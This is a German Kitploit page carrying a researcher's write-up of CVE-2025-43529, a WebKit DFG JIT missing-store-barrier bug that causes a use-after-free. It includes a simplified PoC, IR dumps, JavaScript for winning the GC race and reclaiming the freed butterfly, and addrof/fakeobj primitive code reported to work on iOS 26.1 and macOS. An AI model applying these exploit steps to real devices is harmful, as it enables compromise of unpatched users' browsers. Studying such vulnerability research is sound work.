Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-43529 — Technischer Exploit für CVE-2025-43529, eine WebKit-DFG-JIT-Compiler-Schwachstelle, die Use-After-Free über fehlende Store-Barriere im gleichzeitigen GC ermöglicht, mit vollständigen Exploit-Primitiven für iOS und macOS. | Kitploit
Tools/GitHubGitHub/jir4vv1t/cve-2025-43529
SpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringWebsicherheitBinary-Exploitation
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Technischer Exploit für CVE-2025-43529, eine WebKit-DFG-JIT-Compiler-Schwachstelle, die Use-After-Free über fehlende Store-Barriere im gleichzeitigen GC ermöglicht, mit vollständigen Exploit-Primitiven für iOS und macOS.

Repository anzeigen
85115vor 8 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-43529

TL; DR

Apple hat kürzlich iOS 26.2 und iPadOS 26.2 veröffentlicht, zusammen mit einem Sicherheitshinweis, der Fixes für WebKit-Schwachstellen enthält. Ein Bug im DFG-JIT-Compiler (CVE-2025-43529) ist mir besonders aufgefallen, also habe ich beschlossen, mich näher damit zu befassen.

Der JIT-Compiler hat zwar korrekt erkannt, dass ein Phi-Knoten (an dem mehrere Kontrollflusspfade zusammenlaufen) entkommen ist, aber er hat übersehen, dass auch die Upsilon-Knoten des Phi entkommen sind. Dadurch übersprang die DFG-Compilation StoreBarrierInsertionPhase das Einfügen einer Store Barrier – einem wichtigen Memory-Safety-Mechanismus. Infolgedessen kann der Concurrent GC Objekte übersehen, die er hätte scannen müssen, was zu einem Use-after-Free führen kann.

Den Patch-Commit findest du hier.

Ich habe bestätigt, dass mein Exploit unter iOS 26.1, iPadOS 26.1 und macOS Tahoe 26.0.1 funktioniert.

Background

Generational GC

JSC verwendet ein generationenbasiertes GC-Modell, um den Heap effizient zu verwalten. In diesem Modell wird der Speicher basierend auf dem Objektalter in Eden (New Space) und Old Space aufgeteilt. Alle neu allokierten Objekte starten in Eden. Wenn Eden voll ist, wird ein Eden-GC ausgelöst und alle überlebenden Objekte werden in den Old Space befördert. Das Aufräumen von Old-Space-Objekten erfordert einen Full GC.

Damit der generationenbasierte GC funktioniert, muss der GC Objekte als „bereits gescannt", „muss gescannt werden" oder „muss erneut gescannt werden" klassifizieren. In JSC wird dies über den cellState eines Objekts verfolgt. (Alle vom GC verwalteten Objekte erben von JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState ist 1 Byte groß und kann eine von drei Farben haben: Black (0), White (1) und Grey (2).

White bedeutet, dass ein Objekt gerade in Eden allokiert wurde. Im aktuellen GC-Zyklus wurde es noch nicht markiert. Wenn es bis zum Ende des GC-Zyklus in diesem Zustand bleibt, wird das Objekt eingesammelt.

Black bedeutet, dass der GC das Objekt bereits vollständig markiert hat oder gerade dabei ist, es zu markieren. Es wird im Grunde als lebendig behandelt, auch wenn das isMarked-Bit möglicherweise noch nicht gesetzt ist.

Grey bedeutet, dass ein Objekt noch gescannt werden muss. Genauer gesagt: Es war ursprünglich Black, wurde aber von der Write Barrier erfasst und zum Remembered Set hinzugefügt. Mit anderen Worten: Seine Referenzen haben sich geändert, also muss der GC es erneut scannen.

Concurrent GC

JSC verfügt außerdem über einen Concurrent GC, der es der Anwendung erlaubt, weiterzulaufen, während Speicher freigegeben wird. Wenn der GC im Hintergrund ein Objekt markiert und die Anwendung gleichzeitig den Zustand dieses Objekts ändert, kann eine Race Condition entstehen.

Um das zu verhindern, braucht man Ordnungsgarantien – zum Beispiel, dass „Schreiben (Store) A, dann Lesen (Load) B" in genau dieser Reihenfolge passiert. Aber auf ARM64 kann die CPU Speicheroperationen aus Leistungsgründen umordnen. Das bedeutet, der GC könnte den falschen Wert lesen.

Deshalb verwendet JSC eine dependency class, um sich auf die Datenabhängigkeiten der CPU zu verlassen, oder es verwendet spezielle ARM64-Anweisungen wie STLR und LDAR, um die Reihenfolge zu erzwingen. STLR stellt sicher, dass frühere Reads/Writes vor dem Store sichtbar werden (ein Release-Store). LDAR stellt sicher, dass spätere Reads/Writes nicht vor den Load wandern können (ein Acquire-Load). Wenn ein anderer Thread ein Objekt liest, wird LDAR mit STLR kombiniert, sodass er die aktuellsten Daten sicher beobachten kann.

DMB ist keine einzelne spezielle Anweisung für einen Zugriff. Sie ist eine Barriere, die die Reihenfolge über alle Speicherzugriffe um sie herum erzwingt. Sie stellt sicher, dass Speicheroperationen vor dem DMB sichtbar werden, bevor Operationen danach ausgeführt werden.

JSC JIT

JSC hat insgesamt drei JIT-Stufen. Um die Ausführungsgeschwindigkeit gegen die Compilationskosten (Speicher/Zeit) abzuwägen, wendet es Optimierungen an und verschiebt Code basierend auf seiner Ausführungshäufigkeit auf die nächste Stufe.

  • Tier 1: Baseline JIT
  • Tier 2: DFG JIT
  • Tier 3: FTL JIT

Der Baseline JIT ist der erste JIT-Compiler. Er konzentriert sich darauf, schnell nativen Code zu erzeugen, mit geringem Compile-Overhead.

Der DFG JIT ist die nächste Stufe nach dem Baseline JIT, auf der die eigentliche Optimierung beginnt.

Auf der DFG-Stufe werden JavaScript-Anweisungen in einen Graphen aus DFG-IR-Knoten umgewandelt. Mithilfe der gesammelten Typinformationen führt der Compiler Spekulationen durch, um unnötige Operationen zu entfernen.

In der DFG-Optimierungs-Pipeline von JSC fügt die StoreBarrierInsertionPhase nach Knoten, die in den Speicher schreiben, wie zum Beispiel PutByOffset, eine StoreBarrier ein.

CVE-2025-43529 ist eine Schwachstelle, die dadurch verursacht wird, dass während der StoreBarrierInsertionPhase keine StoreBarrier eingefügt wird, obwohl eine hätte eingefügt werden müssen.

Eine StoreBarrier ist ein Knoten, der wie eine Write Barrier funktioniert. Sie wird verwendet, um die Korrektheit bei Races mit dem Marking-Thread zu gewährleisten.

Den Bug auslösen

Das anfällige DFG-Knoten-Szenario, das im Patch-Commit beschrieben wird, sieht wie folgt aus:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

In BB#1 werden zwei neue Objekte erstellt und die Ausführung verzweigt entweder zu BB#2 oder zu BB#3. BB#2 fällt dann in BB#3 durch (Fall-through). Das Interessante an BB#3 ist der Phi-Knoten. Er bedeutet, dass f entweder c oder e ist; diese Wahl wird von den vorgelagerten Upsilon-Knoten bestimmt. In BB#3 bedeutet PutByOffset, dass einem Objekt ein Wert als Eigenschaft hinzugefügt wird.

Vereinfachter PoC

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Wenn du die Option --dumpFTLDisassembly=true verwendest, kannst du die Assembly nach der FTL-Compilation untersuchen.

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

Aufgrund des Bugs wurde die StoreBarrier für b nicht emittiert.

Das Objekt A lebt im Old Space. Beim ersten PutByOffset (A.p0 = f) zeigt das alte Objekt A nun auf das neue Objekt f. Das bedeutet, dass der Marking-Thread f zu jedem beliebigen Zeitpunkt nach diesem Store über A erreichen kann. Wenn du also später die Eigenschaften von f veränderst, muss eine StoreBarrier eingefügt werden.

f (der Phi-Knoten) wird als entkommen behandelt, aber die tatsächlichen Eingaben, die in f fließen können (via Upsilon: b und d), werden nicht als entkommen markiert. Logisch gesehen gilt: Wenn f in A gespeichert wird, dann wird auch jedes Objekt, das zu f werden könnte – einschließlich b – effektiv in A gespeichert. Aber aufgrund des Bugs erkennt der Compiler das nicht. Er denkt weiterhin, dass b ein nicht entkommener „sicherer" Wert ist, den der GC nicht scannen muss, und überspringt am Ende die StoreBarrier.

Race Condition

Um den Use-after-Free auszulösen, musst du ein Rennen zwischen dem Haupt-Thread und dem Marking-Thread gewinnen. Das Szenario sieht wie folgt aus:

  1. Concurrent Marking (Marking-Thread): Der Marking-Thread erreicht b, indem er vom Old-Space-Objekt A aus wandert, und markiert sowohl A als auch b als black.

  2. Referenz-Update (Haupt-Thread): Der Haupt-Thread führt b.p0 = a aus. Zu diesem Zeitpunkt ist a ein Eden-Objekt, das noch nicht markiert wurde, also noch White ist. Damit zeigt ein Black-Objekt auf ein White-Objekt.

  3. Fehlende Store Barrier: Normalerweise sollte b zum Remembered Set hinzugefügt werden. Aber weil die Store Barrier aufgrund des Bugs übersprungen wird, erfährt der GC nie, dass b jetzt auf a zeigt. Der GC-Zyklus läuft weiter, und wenn nichts anderes auf a verweist, bleibt es die ganze Zeit White und wird am Ende freigegeben.

  4. Ende des GC-Zyklus: Danach kann das Lesen von b.p0 freigegebenen Speicher berühren, was zu einem Use-after-Free führen kann.

Race Window

Der schwierigste Teil beim Ausnutzen einer Race Condition ist es, das Race Window zu treffen. Die Objekte A und b müssen im selben GC-Zyklus markiert werden. Um das Timing zwischen Haupt-Thread und Marking-Thread abzustimmen, habe ich drei Techniken verwendet.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

Erstens: Um das Zeitfenster zu sichern, bis der Scan für A beginnt, musst du den GC dazu bringen, einige Children zu besuchen – ich habe arr groß gemacht und A an den letzten Index platziert. Worauf du hier achten musst: A muss im Old Space leben.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

Zweitens: Das Scannen von A im Old Space erfordert das Auslösen eines Full GC. Dazu musst du genügend große Objekte in ausreichender Menge allokieren. Um den GC-Trigger ziemlich konsistent zu machen, habe ich die Referenz der allokierten Objekte behalten, damit sie nicht als „unbenutzt" wegoptimiert werden – ich habe sie in A.p2 gespeichert.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

Drittens: Sobald ein Full GC ausgelöst wurde – wenn du es schaffst, das Markieren von A durch ein ausreichend großes Array zu verzögern – muss der Haupt-Thread das Markieren von A unmittelbar vor dem Hinzufügen einer Referenz auf a in b abgeschlossen haben. Um dieses Timing zu erzwingen, habe ich eine große Schleife eingebaut. Und damit die Schleife nicht wegoptimiert wird, habe ich den Endwert in b.p0 gespeichert.

Ausnutzung

Die Butterfly zurückgewinnen

Nachdem ein GC-Zyklus abgeschlossen ist, kannst du beobachten, dass beim erneuten Verwenden einer MarkedBlock, die freigegebene Objekte enthält, die nicht markierten Objekte in diesem Block gesweept werden. In JSC macht der Sweep-Mechanismus die gesamte MarkedBlock oder Teile davon für weitere Allokationen verfügbar. Die Adresse des freigegebenen Objekts wird erst danach vom Allocator wiederverwendbar.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

Nach dem Rennen allokiert die Schleife wiederholt Arrays der Länge 5, um das Zurückgewinnen der gesweepten Butterfly zu begünstigen. Wenn die Butterfly neu allokiert wird, kannst du das erkennen, indem du die indexierten Eigenschaften eines Objekts liest, das dieselbe Butterfly-Adresse teilt.

Intern ruft das Erstellen von arr JSC::constructArrayBuffer auf, was MarkedBlock::Handle::specializedSweep auslöst. Genau hier wird die FreeList für den Block, der die Butterfly enthält, initial aufgebaut.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

Beim PoC gilt: Wenn der Sweep nach dem Rennen auf dem Block läuft, der die Butterfly enthält, werden emptyMode, marksMode und newlyAllocatedMode zu IsEmpty, MarksStale bzw. DoesNotHaveNewlyAllocated, sodass die Ausführung in die obige if-Anweisung eintritt.

Bei einem normalen Sweep müsstest du die FreeList in Fragmenten aufbauen, aber hier ist der gesamte Block leer, also wird die FreeList als ein großes Intervall initialisiert, das den gesamten Block abdeckt. Die freeList-Struktur ist sehr einfach. Sie verfolgt im Grunde nur Anfang und Ende des Chunks sowie seine Größe.

An diesem Punkt enthält die freeList einen ganzen Block, der den Butterfly-Zeiger enthält.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

Allokationen aus einer freeList werden von FreeList::allocateWithCellSize übernommen. Wenn m_intervalStart und m_intervalEnd nicht gleich sind, behandelt der Allocator das Intervall so, als wären freie Zellen verfügbar, gibt den aktuellen Startzeiger als Adresse für das neue Objekt zurück und erhöht dann den Startzeiger um cellSize.

Diese Funktion wird von JSC::constructArray aufgerufen und innerhalb der Schleife immer wieder erreicht. Irgendwann verwendet ein neu allokiertes Array die freigegebene Butterfly-Adresse für seine Butterfly.

Den Müll wegsweepen

Es gibt mehrere Gründe, warum ein Exploit fehlschlagen kann, aber eine einfache Verbesserung besteht darin, den Butterfly-Zeiger zu entfernen, der auf dem Stack zurückbleibt.

Während der Butterfly-Allokation wird der allokierte Zeiger wiederholt auf den Stack geschrieben. Wenn dieser Zeiger auch nach dem Aufruf der Funktion, die den Use-after-Free auslöst, noch zurückbleibt, kann das konservative Stack-Scanning des GCs ihn aufgreifen und markieren. Das verhindert, dass er freigegeben wird, und „schützt" ihn dadurch wie üblich.

Im PoC wurde dieses Problem dadurch angegangen, dass eine Funktion aufgerufen wird, die eine große Anzahl von Stack-Frames erzeugt.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

Durch den Aufruf der rekursiven Funktion füllt der Haupt-Thread seinen Stack-Speicher mit Funktionsframes und überschreibt alle übrig gebliebenen Butterfly-Adressen mit anderen Werten. Danach ist es weniger wahrscheinlich, dass der Butterfly-Zeiger beim Stack-Scanning gefunden wird, was die Chancen erhöht, dass der GC diese Butterfly nicht scannt.

Die Primitives aufbauen

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

Mit dem Use-after-Free kannst du dieselbe Butterfly sowohl im freigegebenen Objekt a als auch im neu allokierten Array haben. Wenn du die beiden Objekte unterschiedliche IndexingTypes verwenden lässt, kannst du auf die Werte in dieser einen Butterfly sowohl als Double als auch als Contiguous zugreifen. Das führt direkt zu den klassischen addrof- und fakeobj-Primitives.

Nächste Schritte

Wenn du es geschafft hast, die addrof/fakeobj-Primitives aufzubauen, kannst du problemlos Read/Write-Primitives bauen. Um jedoch Code-Ausführung zu erlangen, musst du zusätzlich die Pointer Authentication umgehen. Dieser Teil bleibt als Herausforderung übrig.

Referenzen

  • Garbage Collection in JavaScriptCore von Grund auf verstehen
  • Über den Sicherheitsinhalt von iOS 26.2 und iPadOS 26.2
Tool herunterladen